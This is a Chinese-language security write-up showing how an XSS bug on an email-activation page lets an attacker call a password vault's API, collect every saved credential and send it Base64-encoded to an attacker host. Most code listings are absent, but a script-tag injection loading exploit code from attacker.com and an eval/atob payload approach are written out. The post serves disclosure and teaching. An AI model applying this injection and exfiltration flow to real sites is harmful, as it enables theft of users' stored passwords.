一、概述

目前，随着安全意识的逐渐普及，越来越多的用户开始使用多种密码保管箱、密码管理器来帮助存储不同网站的不同密码。那么，这些密码存储软件是否足够安全呢？

在研究过程中，我发现在与Password Vault相同的域中存在一个跨站脚本漏洞，借助该漏洞可以实现对Password Vault的破解。

二、应用程序流分析

为了更好地理解应用程序的工作方式，我们需要首先了解其功能和流，并且需要掌握应用是如何检索数据以及数据所在的位置。

在认真研究了应用程序的每个请求之后，我们发现应用程序会从位于/api/的API中检索不同的信息。

在对应用程序进行了一些爬行和抓取后，我发现了一些API端点：

三、详细分析API端点

当应用程序与API完全进行交互时，我们能够对流有更加明确的理解。在流中，每个端点都返回了一些值和信息，例如记录ID、Session Token等。为了实现窃取用户密码信息的目的，我们需要针对其中的一些API展开分析。

records/all

该端点位于/api/v3/records/all，负责接受GET请求。一旦在身份验证时，发送了GET请求，它就会返回具有记录ID的JSON对象以及与可用记录相关的其他信息。

passwords/record

该端点位于/api/v1/passwords/record。在从record/all端点检索记录ID后，这一端点用于从特定记录ID中检索密码和完整信息。

在我们的示例中，得到了以下Record ID：

526882 – “Facebook帐户”的记录ID；

526883 – “Google电子邮件”的记录ID。

如果用户单击“Facebook帐户”记录，将使用记录ID为526882的以下JSON数据，发送对/api/v1/passwords/record的POST请求。这一记录ID将会被发送到API，以检索完整的记录信息：

发送后，将会返回指定ID的以下信息，其中就包括了帐户和密码：

现在，我们已经知道如何检索ID，也知道了如何返回数据。但问题是，应用程序在向API发送每一个POST请求的时候都会附带发送CSRF Token。在请求中，Token用于验证用户的会话是否有效。

session/token

为了找出这一Token是如何生成的，我查找了其他端点，试图找到有用的线索。终于，我发现位于/api/v1/session/token的API端点负责生成CSRF Token。

向端点发出GET请求，将会返回如下响应内容：

四、武器化

现在，我们开始研究应用程序流以及用于交换数据的端点。我们需要通过某种方式，从下面的端点中获取信息：

从/api/v1/passwords/record中获取Session Token；

从/api/v3/records/all中获取记录ID；

从/api/v1/passwords/record中获取记录信息。

为了从端点获取信息，有一个简单的技巧是利用一些错误配置的CORS，但在这里，应用程序似乎并没有将它用于资源共享。

此外，还有另一种可能性，是在同一个域中找到XSS漏洞，以应对同源策略（SOP）。否则，我们所有的XHR调用都会因为违反同源策略而失效。

在过了一段时间之后，我成功地在一个电子邮件激活页面上获得了XSS，用户输入的电子邮件没有正确进行过滤。

目前，我们已经拥有了武器化的方法，现在就不用再担心同源策略，可以轻松进行XHR调用，从而以与应用程序相同的方式与API进行通信。

五、复制应用程序的正常流

现在，我们需要复制应用程序流。为了能借助XSS漏洞复制应用程序流并获取所需信息，我们需要确保它能够以相同的方式进行。

首先，使用JavaScript函数fetch()向/api/v3/records/all发出GET请求，获取所有记录ID：

获取记录后，接下来需要获取Session Token，以发出POST请求。在这里，我将记录的响应转换为JSON，并直接从JSON对象调用记录ID的值。fetch()用于发送GET请求以捕获Token，并从JSON对象中检索其值：

现在，我们得到了“session_token”和“record ID”。接下来要做的，就是要将包含记录ID的POST请求发送到/api/v1/passwords/record。我将会使用XHR发送具有指定记录ID的POST请求。需要遍历记录ID，以逐条检索记录信息：

如大家所见，从第30-34行可以看出，XHR被正确地配置。在第45行中，相应的值以{"id":record_ID_here,"is_organization:false}形式保存，随后发出请求。

在请求发出后，会解析得到的响应，并从响应中获取相应信息，例如标题、URL、用户名、密码。然后将这些值添加到虚拟变量“data_chunks”中，以进行最终处理。

在使用收集到的数据填充虚拟变量后，它将编码为Base64，以避免产生字符冲突，并发送到攻击者的主机上。

在这里请注意：还有许多其他方法可以正确发送抓取到的数据，为了使演示尽量简单，我选择了Base64编码方法。此外，通过POST将数据发送到特定文件也是一个不错的选择。

六、瞄准目标

现在，我们的漏洞已经准备完成，我们必须要在易受攻击的区域利用XSS漏洞。在利用XSS时，可以使用两个简单的技巧：

在外部主机上托管JavaScript漏洞利用方法（可能需要设置CORS才能使其可以访问）；

直接使用eval和atob，并在其中包含Payload。

对于第一种技术，需要通过注入的<script src="http://attacker.com/path_to_exploit.js"></script>来加载外部JavaScript。在处理大型漏洞利用代码时，这种方法很有效，并且由于漏洞利用代码不会记录在服务器中，可以实现一定程度的隐藏。

第二种方法的优势在于效率非常高，可以用于处理较短的Payload。在这里，我将使用以下Payload：

现在只需用Base64编码的源代码替换atob()的值就可以了。首先，我们的Payload将由atob解码，然后使用eval()执行。

所以这是最终的Payload：

在这里，有人会说这是一个比较大的Payload，显然，也可以从外部主机来加载.js文件，但为了省去设置CORS，我还是选择了这种方法。

现在，我需要托管一个exploit.html文件，其代码如下：

现在只需为exploit.html提供一个URL，攻击者就可以让用户将表单http://attacker.com/exploit.html重定向到注入Payload的页面。

因此，我们将数据提供给已配置的用于检索数据的主机：

从上面的屏幕截图中，我们可以看到存储在Password Vault中的记录最终被成功检索到，并且我们成功利用了XSS漏洞。

通过这一漏洞，我们可以知道，XSS不仅仅是一个弹出的窗口，如果被正确利用，XSS漏洞所带来的危害是不容小觑的。安全研究人员只是通过无害的弹出窗口来验证是否存在XSS漏洞。

希望这篇文章能够与大家分享我的经验。此外，我的漏洞利用代码也已经上传到Github，如果有需要可以自行查看：https://gist.github.com/shawarkhanethicalhacker/e40a7c3956fdd24b9fb63d03d94c3d34